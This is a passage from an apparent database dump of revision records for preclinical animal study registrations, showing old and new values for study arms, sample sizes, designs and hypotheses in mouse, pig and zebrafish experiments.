day\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"PPO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day and ECG will be recorded on the 10th day\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"OSO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th da\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"PPO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th day\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"normal saline 1 ml\\/kg, i.p for 10 days\"},{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"normal saline 1 ml\\/kg, i.p for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day, and ECG will be recorded on the 10th day\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Received OSO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day and ECG will be recorded on the 10th day\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"PPO (1 ml\\/kg, i.p) for 10 days and DOX (15mg\\/kg, i.p.) on the 7th day and ECG will be recorded on the 10th day\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"OSO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th da\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"PPO (1 ml\\/kg, i.p) for 10 days and ECG will be recorded on the 10th day\"}]},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"cardiac enzymes\",\"new_value\":\"cardiac enzymes (Creatine Kinase (CK)) and Serum Troponin\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"It will be based on the number of groups and the study itself is to invistigate vital signs \",\"new_value\":\"Based on previous studies that evaluated similarly related areas as:\\n1. Chen, Jiaoting et al. (2020) \\u2018Modulatory effect of metformin on cardiotoxicity induced by doxorubicin via the MAPK and AMPK pathways\\u2019, Life Sciences, 249. doi: 10.1016\\/j.lfs.2020.117498.\\n2. https:\\/\\/journals.plos.org\\/plosone\\/article?id=10.1371\\/journal.pone.0168219\"},{\"key\":\"sum_of_animals\",\"old_value\":\"24\",\"new_value\":\"36\"}]','2021-08-31 15:15:24','2021-08-31 15:15:24'),
	(224,256,'[{\"key\":\"sample_size_calculation\",\"old_value\":\"no\",\"new_value\":\"yes\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"Determination of the minimum sample using the formula (Supranto, J. (2000). Teknik Sampling Untuk Survei &amp; Eksprimen.), with the equation = (t-1) (r-1) &gt; 15.\\nt= treatment\\nr= replication\\n\\nt in this study is 3, then =\\n(3-1) (r-1) &gt;15\\n4(r-1) &gt;15\\n4r-4&gt;15\\nr&gt;8.5\\n\\nSo the minimum sample for each group is &gt;8.5. So the researcher chose 10.\"}]','2021-09-09 17:21:00','2021-09-09 17:21:00'),
	(225,251,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"1\",\"intervention\":\"Sham-treated (control for fluoxetine) LDLR KO mice injected with control (control for pneumococci)\"},{\"type\":\"intervention\",\"number\":\"2\",\"intervention\":\"Sham-treated (control for fluoxetine) LDLR KO mice injected with pneumococci\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Fluoxetine-treated responder LDLR KO mice injected with control \"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"Fluoxetine-treated responder LDLR KO mice injected with pneumococci\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Fluoxetine-treated non-responder LDLR KO mice injected with control \"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Fluoxetine-treated non-responder LDLR KO mice injected with pneumococci\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Sham-treated (control for fluoxetine) LDLR KO mice injected with control (control for pneumococci)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Sham-treated (control for fluoxetine) LDLR KO mice injected with pneumococci\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated responder LDLR KO mice injected with control \"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated responder LDLR KO mice injected with pneumococci\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated non-responder LDLR KO mice injected with control \"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated non-responder LDLR KO mice injected with pneumococci\"}]},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"Sample size calculation was performed with the formula of Sachs: n = 2(z\\u03b1\\/2 - z\\u03c0)2 * (\\u03c3\\/\\u03b4)2.\\nalpha = 0.05 and power = 0.8\\nFor the experimental groups receiving vehicle (control for fluoxetine treatment), a variance of 6.5 and a minimal detectable difference of 10 were considered. As a drop-out of 10% should be included (based on previous studies), this brings n = 8 (or 16 in total for the vehicle-treated mice). Of note: the values here indicated are based on the sucrose preference test.\\n\\nFor the experimental groups receiving fluoxetine treatment, a similar approach was taken. Here, variance was 8.5 and a minimal detectable difference was 10. With 10% drop-out, this brings n = 12. (or total fluoxetine-treated mice to 48)\\n\\n\"}]','2021-09-11 11:38:22','2021-09-11 11:38:22'),
	(226,253,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"1\",\"intervention\":\"Mice not exposed to stress-regimen and not to any type of treatment\"},{\"type\":\"control\",\"number\":\"2\",\"intervention\":\"Sham-treated (control for fluoxetine) CUS-exposed mice that received control injection (control for immunization)\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Sham-treated CUS-exposed mice that received pneumoccal immunizationon \"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"Fluoxetine-treated responder CUS-exposed mice that received control injection\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Fluoxetine-treated responder CUS-exposed mice that received pneumococcal immunization\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Fluoxetine-treated non-responder CUS-exposed mice that received control injection\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Fluoxetine-treated non-responder CUS-exposed mice that received pneumococcal immunization\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Mice not exposed to stress-regimen and not to any type of treatment\"},{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Sham-treated (control for fluoxetine) CUS-exposed mice that received control injection (control for immunization)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Sham-treated CUS-exposed mice that received pneumoccal immunizationon \"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated responder CUS-exposed mice that received control injection\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated responder CUS-exposed mice that received pneumococcal immunization\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated non-responder CUS-exposed mice that received control injection\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Fluoxetine-treated non-responder CUS-exposed mice that received pneumococcal immunization\"}]},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"Sample size calculation was performed with the formula of Sachs: n = 2(z\\u03b1\\/2 - z\\u03c0)2 * (\\u03c3\\/\\u03b4)2.\\nalpha = 0.05 and power = 0.8\\n\\nFor the experimental groups receiving vehicle (control for fluoxetine treatment), a variance of 6.5 and a minimal detectable difference of 10 were considered. As a drop-out of 10% should be included (based on previous studies), this brings n = 8 (or 16 in total for the vehicle-treated mice). Of note: the values here indicated are based on the sucrose preference test.\\n\\nFor the experimental groups receiving fluoxetine treatment, a similar approach was taken. Here, variance was 8.5 and a minimal detectable difference was 10. With 10% drop-out, this brings n = 12. (or total fluoxetine-treated mice to 48)\\n\\nFor the mice that will not be exposed to the CUS procedure, the variance was 6 and a minimal detectable difference was 9. With 10% drop-out, this brings n = 8. \"}]','2021-09-11 11:38:32','2021-09-11 11:38:32'),
	(227,257,'[{\"key\":\"experimental_design\",\"old_value\":\"All experimental mice had a standardized free access of feed and ad libitum of water. The study was conducted in the Laboratory of Pharmacology, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University, Manado, Indonesia. Forty male mus musculus Swiss albino mice (3\\u20135 weeks) weighing between 20 g\\u201330 g were obtained from the Laboratory Animals Farming Makassar, Indonesia. The animals were grouped and housed in cages and maintained under standard laboratory conditions (temperature: 27 \\u00b1 2 \\u00b0C) with light and dark cycles (12\\/12 h). The mice were acclimatized to laboratory conditions for 10 days before the commencement of the experiment. Food and water intake are influenced by ambient temperature, therefore we strongly maintain the environment to stay at room temperature. The average food and water intake of mice are 4.58 \\u00b1 0.59 g and 4.95 \\u00b1 0.55 mL. This range is in accordance with normal conditions (not under pressure or stress) referring to Heldrich et al, (2004) [[ H.J. Hedrich, H. Mossmann, W. Nicklas, Housing and maintenance, in:H.J. Hedrich, G. Bullock (Eds.), The Laboratory Mouse, 1, Elsevier, London, 2004, pp. 395\\u2013408.]]. The research protocol (use of experimental animals) used was based on the Declaration of Helsinki, The Council for International Organizations of Medical Sciences (CIOMS). Mice were randomly distributed into four groups, each group con- sisting of 10 mice. Group A as normal control received a standard diet, then groups B, C, and D received CFED for four weeks. Groups C and D were treated with 100 and 200 mg\\/209 BW (respectively) of Cookie for four weeks. CFED and cookie from sea grapes were administered by oral.\",\"new_value\":\"All experimental mice had a standardized free access of feed and ad libitum of water. The study was conducted in the Laboratory of Pharmacology, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University, Manado, Indonesia. Forty male mus musculus Swiss albino mice (3\\u20135 weeks) weighing between 20 g\\u201330 g were obtained from the Laboratory Animals Farming Makassar, Indonesia. The animals were grouped and housed in cages and maintained under standard laboratory conditions (temperature: 27 \\u00b1 2 \\u00b0C) with light and dark cycles (12\\/12 h). The mice were acclimatized to laboratory conditions for 10 days before the commencement of the experiment. Food and water intake are influenced by ambient temperature, therefore we strongly maintain the environment to stay at room temperature. The average food and water intake of mice are 4.58 \\u00b1 0.59 g and 4.95 \\u00b1 0.55 mL. This range is in accordance with normal conditions (not under pressure or stress) referring to Heldrich et al, (2004) [[ H.J. Hedrich, H. Mossmann, W. Nicklas, Housing and maintenance, in:H.J. Hedrich, G. Bullock (Eds.), The Laboratory Mouse, 1, Elsevier, London, 2004, pp. 395\\u2013408.]]. The research protocol (use of experimental animals) used was based on the Declaration of Helsinki, The Council for International Organizations of Medical Sciences (CIOMS). Mice were randomly distributed into four groups, each group con- sisting of 10 mice. Group A as normal control received a standard diet, then groups B, C, and D received CFED for four weeks. Groups C and D were treated with 100 and 200 mg\\/20g BW (respectively) of Cookie for four weeks. CFED and cookie from sea grapes were administered by oral.\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"After 4 weeks of treatment, the rats were sacrificed for blood samples to be taken for examination of Blood glucose, total cholesterol, and PGC-1\\u03b1 levels.\",\"new_value\":\"After 4 weeks of treatment, the mice were sacrificed for blood samples to be taken for examination of Blood glucose, total cholesterol, and PGC-1\\u03b1 levels.\"},{\"key\":\"species\",\"old_value\":\"rat\",\"new_value\":\"mouse\"}]','2021-09-14 16:28:18','2021-09-14 16:28:18'),
	(228,255,'[{\"key\":\"hypothesis\",\"old_value\":\"Two seperate experiments:\\nAdhesions: We hypothesize that the blood-derived product is able to prevent or diminish the number of adhesions in a model of abdominal surgery in pigs.\\nHemostasis: We hypothesize that the blood-derived product is able to treat or diminish bleeding in a model of surgical bleeding in a pig liver.\",\"new_value\":\"Two seperate experiments:\\nAdhesions: We hypothesize that the blood-derived patch is able to prevent or diminish the number of adhesions in a model of abdominal surgery in pigs.\\nHemostasis: We hypothesize that the blood-derived patch is able to treat or diminish bleeding in a model of surgical bleeding in a pig liver.\\n\\nThe blood-derived product: From autologous blood (18 mL) we produce a three layered compressed patch, consisting of fibrin, platelets and leucocytes. The patch is processed at high G-force in a automated and patented centrifuge, which coagulates and compresses the blood into the aforementioned patch. \"},{\"key\":\"sum_of_animals\",\"old_value\":\"10 pigs\\/heads. But the N will be 20. Each pig has two uterine horn, that in this model is considered as separate compartments. Therefore there will be 2 n\\/1 head.\",\"new_value\":\"Adhesion study: 10 pigs\\/heads. But the N will be 20. Each pig has two uterine horn, that in this model is considered as separate compartments. Therefore there will be 2 n\\/1 head.\\nHemostasis study: 10 pigs\\/heads. The N will be 10 with three different groups; control, patch and a comparable hemostatic product.\"}]','2021-09-14 19:12:25','2021-09-14 19:12:25'),
	(229,247,'[{\"key\":\"experimental_design\",\"old_value\":\"Mice receive induction anesthesia with 3-5% sevoflurane in an induction chamber, followed by a one-time intraperitoneal injection of fentanyl (Hameln, Gernamy) in a dose of 0.06mg\\/kg. Under spontaneous breathing oxygen and sevoflurane (Isoflutek, Karizoo, Spain) supplemented medical air, tracheostomy is performed and mice are connected to a mechanical ventilator (VentElite, Harvard Apparatus, USA). Mice are mechanically ventilated with tidal volumes of 7.2ml\\/kg, respiratory rate of 190 breaths per minute, inspiratory:expiratory ratio of 1:1.5 and FiO2 of 38%. An inspiratory sigh of 20% will be performed every 30 minutes  to maintain airway patency. \\nThe right carotid artery is cannulated to monitor arterial blood pressure. The right jugular vein is cannulated after which mice receive intravenous 20ml\\/kg maintenance fluids consisting of Ringer\\u2019s lactate supplemented with 0.5% glucose, 0.2% sodium bicarbonate and 0.12mg\\/kg fentanyl (Pump 11 Pico Plus Elite, Harvard Apparatus, USA). \\nAfter cannulation is completed, mice are randomly allocated to one of the experimental groups.\\nTrauma consist of bilateral lower limb fractures inflicted with two hemostatic forceps\\u2019 followed by median laparotomy. Crush injury of the small intestine is inflicted by clamping the small intestine five times for two seconds. Liver injury is achieved by clamping 1cm of the right lobe for two seconds. Following trauma the abdomen is closed. To initiate shock blood is drawn through the carotid artery cannula to achieve a target mean arterial pressure (MAP) of 20-30mmHg. Hemodilution is performed by infusion of Ringer\'s lactate (400ul). \\nAfter the trauma and shock period, anti-HMGB1, rhTM or vehicle is administered IV. 10min after initiation of trauma and shock, the distal end of the tail is cut off and bleeding is monitored for 20 minutes. After 30 minutes of shock a terminal blood draw is performed though the carotid artery or via heart puncture and organs are collected, after which the material is processed immediately.\\n\\nOptimal dose of both anti-HMGB1 antibody and rhTM is determined in a dose-response study. Three different doses are tested of both compounds, N=6 per group.\\n\\n\",\"new_value\":\"Mice receive induction anesthesia with 3-5% sevoflurane in an induction chamber, followed by a one-time intraperitoneal injection of fentanyl (Hameln, Gernamy) in a dose of 0.06mg\\/kg. Under spontaneous breathing oxygen and sevoflurane (Isoflutek, Karizoo, Spain) supplemented medical air, tracheostomy is performed and mice are connected to a mechanical ventilator (VentElite, Harvard Apparatus, USA). Mice are mechanically ventilated with tidal volumes of 7.2ml\\/kg, respiratory rate of 190 breaths per minute, inspiratory:expiratory ratio of 1:1.5 and FiO2 of 38%. An inspiratory sigh of 20% will be performed every 30 minutes  to maintain airway patency. \\nThe right carotid artery is cannulated to monitor arterial blood pressure. The right jugular vein is cannulated after which mice receive intravenous 20ml\\/kg maintenance fluids consisting of Ringer\\u2019s lactate supplemented with 0.5% glucose, 0.2% sodium bicarbonate and 0.12mg\\/kg fentanyl (Pump 11 Pico Plus Elite, Harvard Apparatus, USA). \\nAfter cannulation is completed, mice are randomly allocated to one of the experimental groups (N=12 per group).\\nTrauma consist of bilateral lower limb fractures inflicted with two hemostatic forceps\\u2019 followed by median laparotomy. Crush injury of the small intestine is inflicted by clamping the small intestine five times for two seconds. Liver injury is achieved by clamping 1cm of the right lobe for two seconds. Following trauma the abdomen is closed. To initiate shock blood is drawn through the carotid artery cannula to achieve a target mean arterial pressure (MAP) of 20-30mmHg. Hemodilution is performed by infusion of Ringer\'s lactate (400ul). \\nAfter the trauma and shock period, anti-HMGB1, rhTM or vehicle is administered IV. 10min after initiation of trauma and shock, the distal end of the tail is cut off and bleeding is monitored for 20 minutes. After 30 minutes of shock a terminal blood draw is performed though the carotid artery or via heart puncture and organs are collected, after which the material is processed immediately.\\n\\nOptimal dose of both anti-HMGB1 antibody and rhTM is determined in a dose-response study. Three different doses are tested of both compounds. The dose-response studies are not further described here. \\n\\n\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"\",\"intervention\":\"Ventilation + vehicle \"},{\"type\":\"sham\",\"number\":\"\",\"intervention\":\"Trauma + shock + vehicle\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"Trauma + shock + HMGB1 antibody\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"Trauma + shock + rhTM\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"Trauma + shock + HMGB1 antibody + rhTM\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"Ventilation + vehicle \"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Trauma + shock + vehicle\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Trauma + shock + HMGB1 antibody\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Trauma + shock + rhTM\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Trauma + shock + HMGB1 antibody + rhTM\"}]},{\"key\":\"sum_of_animals\",\"old_value\":\"60 (not including dose-response studies)\",\"new_value\":\"60 \"}]','2021-09-20 10:07:13','2021-09-20 10:07:13'),
	(230,255,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Product\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"No treatment\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Patch\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Control\"}]},{\"key\":\"sum_of_animals\",\"old_value\":\"Adhesion study: 10 pigs\\/heads. But the N will be 20. Each pig has two uterine horn, that in this model is considered as separate compartments. Therefore there will be 2 n\\/1 head.\\nHemostasis study: 10 pigs\\/heads. The N will be 10 with three different groups; control, patch and a comparable hemostatic product.\",\"new_value\":\"Adhesion study: 10 pigs\\/heads. But the N will be 20. Each pig has two uterine horn, that in this model is considered as separate compartments. Therefore there will be 2 N\\/1 head.\\n\\nHemostasis study: 10 pigs\\/heads. The N will be 10. In each pig we will perform 12 bleedings and treat with three different groups (4 bleedings in each group); control, patch and a comparable hemostatic product. This is a nested design.\\n\\nIn section 22 I specify the two groups in the adhesion study - Patch and Control.\"}]','2021-09-21 11:05:13','2021-09-21 11:05:13'),
	(231,254,'[{\"key\":\"experimental_design\",\"old_value\":\"First a note regarding 18. Male mice will be used for A549 lung metastasis experiments, female mice for MDA-MB-31 breast cancer experiments, and both sexes will be used for the zebrafish experiments.\\n\\nZebrafish xenograft model: \\nApproximately 400 fluorescently labelled cells (manually counted) will be injected at approximately 60 \\u03bcm above the ventral end of the duct of Cuvier (DoC) (of zebrafish embryos 2 dpi), where the DoC opens into the heart. Compounds will be added to the egg water of the zebrafish. The optimal concentration that will be used will depend on pilot study in which the effect of dose range of compound on zebrafish embryo development will be analyzed; compounds are used at highest dose that does not affect normal zebrafish development. After 5 days the extravasation of cancer cells will be assessed microscopically. \\n\\nThe fish will be anesthetized during cancer cell engraftment and imaging. The individual fish are observed daily and fish with overt signs of discomfort will be euthanized. Max 5% of the larvae will die or show overt signs of discomfort 6 \\u2013 8 days post fertilization (dpf) (this corresponds to the &quot;normal&quot; natural death of zebrafish).  Another max 5% will die or show overt signs of discomfort after tumor engraftment. All dead animals and animals showing signs of discomfort (physiological malformation or lack of response to lateral line stimulation) will be removed from the experiment. We will minimize the effect of aggressive cancel cells by, and titration of the number of cancer cells for engraftments using &lt;5 days larvae for the first screening. The larvae and fish will be checked daily for signs of general discomfort. Animals showing major signs of discomfort (physiological malformation or for larvae &gt;8 days old, lack of response to lateral line stimulation) will be removed from the experiment. \\n\\nAll staff involved are experienced and skilled to perform zebrafish embryo handlings, including  the injection and imaging of zebrafish. \\n\\nMouse xenograft models:\\nMDA-MB-231 breast cancer cells that are labelled with luciferase will be injected into the left heart ventricle of female nu\\/nu nude mice. The MDA-MB=231 cells that will be used were selected to metastasize preferentially to the bone. The colonization of MDA-MB-231 cells to the bone will be visualized by bioluminescent imaging (every week). The route of administration (and multiple treatment times) will depend on the compound; this information of the compounds from drug repurposing is available. Mice will be treated with compound(s) or vehicle control; we will start treatment after 1 week of cancer cell injection. At the end of experiment, usually 6-8 weeks after injection, mice will be terminated. Bones with tumors will be collected and these will will be flushed for isolation of tumor cells. These tumor cells will be studied in vitro for their behavior (and marker expression analysis). Bones will be collected and used for histochemical staining. \\nAnimals will be housed in individually ventilated cages under sterile conditions containing five mice per cage. Sterilized food and water will be provided ad libitum. \\n\\nFor A549 lung adenocarcinoma cells (pretreated with TGF-beta to stimulate the mesenchymal and invasive and chemo-resistant properties of the cells) that are labelled with luciferase will be injected into the tail vein of male nu\\/nu nude mice. Cancer cells in 50 microliter buffered saline in the tail vein under slight isoflurane anesthesia that will lead to homing of cells to the lung. Cancer cells will that colonize the lung will be visualized by bioluminescent imaging (every week).  Mice will be treated with chemical compound(s) or vehicle control (initially we will start 6 days after injection. The route of administration (and multiple treatment times) will depend on the compound; this information of the compounds from drug repurposing is available. usually the experiments will be terminated 4 weeks after injection and lung collected for further analysis.  Lung tissues will be collected for further analysis of cells and their environment by immuno-histochemical staining and also tumor cells will be isolated and studied in vitro for their behavior. \\n\\nThe level of metastasis will be assessed by bioluminescent imaging and results will also be further validated (if needed) by immunohistopathology and in vitro characterization of bones\\/lungs and\\/or characterization of isolated tumor cells as secondary read outs.\\n\\nAnimals will be housed in individually ventilated cages under sterile conditions containing five mice per cage. Sterilized food and water were provided ad libitum. At the end on the 4-6 week experiment all mice will be terminated. While we do not expect severe complications as a result of the intracardiac injection, the complications infection may arise due to tumor growth. Therefore, the animals will be observed twice weekly following the injection and will be humanely killed in case of the following defined end points are reached: visible pain (abnormal posture or movement), significant weight loss (20%), abnormal behavior (isolation, abnormal reaction to stimuli, no food or water intake). If distress of the animals are observed by the animal caretakers, this will be be reported to the investigators and according to the aforementioned criteria, the animal will be taken out of the experiment and euthanized.\\n\\nAll staff involved are experienced and skilled to perform animal handlings. Intracardiac injection and imaging of mice will be performed under anesthesia. All animals used in the experiment will be at least 15 grams of weight, as we have seen in previous experiments that once they rich this weight we are able to avoid complications and minimize the suffering from mice.\\n\",\"new_value\":\"Zebrafish xenograft model: \\nApproximately 400 fluorescently labelled cells (manually counted) will be injected at approximately 60 \\u03bcm above the ventral end of the duct of Cuvier (DoC) (of zebrafish embryos 2 dpi), where the DoC opens into the heart. Compounds will be added to the egg water of the zebrafish. The optimal concentration that will be used will depend on pilot study in which the effect of dose range of compound on zebrafish embryo development will be analyzed; compounds are used at highest dose that does not affect normal zebrafish development. After 5 days the extravasation of cancer cells will be assessed microscopically. \\n\\nThe fish will be anesthetized during cancer cell engraftment and imaging. The individual fish are observed daily and fish with overt signs of discomfort will be euthanized. Max 5% of the larvae will die or show overt signs of discomfort 6 \\u2013 8 days post fertilization (dpf) (this corresponds to the &quot;normal&quot; natural death of zebrafish).  Another max 5% will die or show overt signs of discomfort after tumor engraftment. All dead animals and animals showing signs of discomfort (physiological malformation or lack of response to lateral line stimulation) will be removed from the experiment. We will minimize the effect of aggressive cancel cells by, and titration of the number of cancer cells for engraftments using &lt;5 days larvae for the first screening. The larvae and fish will be checked daily for signs of general discomfort. Animals showing major signs of discomfort (physiological malformation or for larvae &gt;8 days old, lack of response to lateral line stimulation) will be removed from the experiment. \\n\\nAll staff involved are experienced and skilled to perform zebrafish embryo handlings, including  the injection and imaging of zebrafish. \\n\"},{\"key\":\"short_title\",\"old_value\":\"MesCanCellTarget\",\"new_value\":\"MesCanCellTargetZF\"},{\"key\":\"yes_blinded_assessment_partially_details\",\"old_value\":\"Animals that have been injected with compound or vehicle control will not be known by the investigator. Analysis of the extravasated cells in zebrafish tail fin area (in case of zebrafish embryos) bioluminescence (in case of mouse experiments).will be done blinded. \\n\\n\",\"new_value\":\"Zebrafish embryos that have been injected with compound or vehicle control will not be known by the investigator. Analysis of the extravasated cells in zebrafish tail fin area  will be done blinded. \\n\\n\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"2\",\"intervention\":\"\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"50x15x3=2250 \",\"intervention\":\"Vehicle controls for testing of 15 different compounds, three triplcates\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 1\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 2\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 3\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 4\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 5\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 6\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 7\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 8\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 9\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 10\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 11\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 12\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 13\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 14\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 1\"},{\"type\":\"intervention\",\"number\":\"15x50x3=2250\",\"intervention\":\"Three test doses of 15 distinct compounds for pilot toxicity experiments\\/dose finding.\"},{\"type\":\"control\",\"number\":\"15x50=770 3=\",\"intervention\":\"Vehicle control for toxity testing of compounds\"}]},{\"key\":\"hypothesis\",\"old_value\":\"Our hypothesis is that by selectively interfering with invasive behavior of mesenchymal cancer cells using compounds, we will simultaneously halt metastasis as well as regain sensitivity to chemo- (and targeted) therapy. The cytokine Transforming Growth Factor-beta (TGF-beta) is a main driver of epithelial to mesenchymal transition of cancer cells. While TGF-beta inhibitors have been developed, they suffer from on-target side effects. In this project we will use a fundamental different approach to target the TGF-beta pathway in cancer cells by screening a large repurposing drug library using in vitro cell based assays for compounds that interfere with its pro-oncogenic effects. These compounds will subsequently be tested in xenograft animal models, first in zebrafish and secondly in mouse xenograft invasion\\/metastasis models). We will test ability of compounds ability to specifically target the (TGF-beta-induced) invasion and metastasis of mesenchymal  breast and lung cancer cells, and to identify compounds that make mesenchymal breast and lung cancer cells more sensitive to chemotherapy (while not affecting normal tissue homeostasis). \\n\\n\\n\\n\",\"new_value\":\"Our hypothesis is that by selectively interfering with invasive behavior of mesenchymal cancer cells using compounds, we will simultaneously halt metastasis as well as regain sensitivity to chemo- (and targeted) therapy. The cytokine Transforming Growth Factor-beta (TGF-beta) is a main driver of epithelial to mesenchymal transition of cancer cells. While TGF-beta inhibitors have been developed, they suffer from on-target side effects. In this project we will use a fundamental different approach to target the TGF-beta pathway in cancer cells by screening a large repurposing drug library using in vitro cell based assays for compounds that interfere with its pro-oncogenic effects. These compounds will subsequently be tested in xenograft animal models, first in zebrafish  and thereafter in mouse xenograft invasion\\/metastasis models. (This application is focused on zebrafish  xenograft experiments; a parallel application has been prepared on mouse xenograft experiments).  We will test ability of compounds ability to specifically target the (TGF-beta-induced) invasion and metastasis of mesenchymal  breast and lung cancer cell extravasation (while not affecting normal tissue homeostasis). \\n\\n\\n\\n\"},{\"key\":\"link_to_data\",\"old_value\":\"Our previous publications in which zebrafish and\\/or mouse xenograft models were used:\\n\\nRen J, Liu S, Cui C, Ten Dijke P (2017) Invasive Behavior of Human Breast Cancer Cells in Embryonic Zebrafish. Journal of visualized experiments : JoVE (122). doi:10.3791\\/55459\\n\\nDrabsch Y, He S, Zhang L, Snaar-Jagalska BE, ten Dijke P (2013) Transforming growth factor-beta signalling controls human breast cancer metastasis in a zebrafish xenograft model. Breast cancer research : BCR 15 (6):R106. doi:10.1186\\/bcr3573\\n\\nZhou F, Drabsch Y, Dekker TJ, de Vinuesa AG, Li Y, Hawinkels LJ, Sheppard KA, Goumans MJ, Luwor RB, de Vries CJ, Mesker WE, Tollenaar RA, Devilee P, Lu CX, Zhu H, Zhang L, Dijke PT (2014) Nuclear receptor NR4A1 promotes breast cancer invasion and metastasis by activating TGF-beta signalling. Nature communications 5:3388. doi:10.1038\\/ncomms4388\\n\\nZhang L, Zhou F, Garcia de Vinuesa A, de Kruijf EM, Mesker WE, Hui L, Drabsch Y, Li Y, Bauer A, Rousseau A, Sheppard KA, Mickanin C, Kuppen PJ, Lu CX, Ten Dijke P (2013) TRAF4 promotes TGF-beta receptor signaling and drives breast cancer metastasis. Mol Cell 51 (5):559-572. doi:10.1016\\/j.molcel.2013.07.014\\n\\nRen J, Wang Y, Ware T, Iaria J, 